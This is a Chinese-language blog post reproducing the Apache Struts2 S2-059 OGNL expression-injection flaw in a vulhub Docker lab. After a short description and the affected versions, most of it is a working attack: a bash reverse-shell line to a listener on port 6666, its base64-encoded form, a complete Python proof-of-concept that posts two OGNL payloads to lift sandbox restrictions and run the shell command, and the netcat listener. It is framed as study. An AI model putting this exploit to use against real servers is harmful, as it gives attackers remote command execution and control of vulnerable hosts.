struts2 s2-059漏洞复现
声明好好学习,天天向上漏洞描述struts2框架2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。影响范围Struts 2.0.0 – Struts 2.5.20复现过程可以下载中间件系列,使用doc
声明
好好学习,天天向上
漏洞描述
struts2框架
2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。
影响范围
Struts 2.0.0 – Struts 2.5.20
复现过程
可以下载中间件系列,使用docker搭建
https://github.com/vulhub/vulhub
下载完成后,我这里把文件夹名字改了
cd vulhub-20201028/struts2/s2-05
docker-compose up -d
docker拉取后
浏览器访问
http://192.168.239.129:8080/?id=1
浏览器访问,F12,查看第一行,发现三三得九被执行
http://192.168.239.129:8080/?id=%25{3*3}
接下来,开始攻击,由于反弹shell的bash需要经过base64编码,先把反弹shell的代码确定,我这里是反弹到我的kali192.168.239.129
bash -i >& /dev/tcp/192.168.239.139/6666 0>&1
base64编码,编码网站:
http://www.jackson-t.ca/runtime-exec-payloads.html
编码后为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
POC脚本(python),这里需要改两个地方,第二行,把IP改成docker启动的struts2的IP,倒数第七行,exec(‘后面到倒数第六行,这里直接把编码后的粘贴进来,注意标点符号’))}",保存为s2-059.py
import requests
url = "http://192.168.239.129:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
kali监听
nc -lvvp 6666
kali执行POC
python s2-059.py
成功反弹shell
更多推荐
所有评论(0)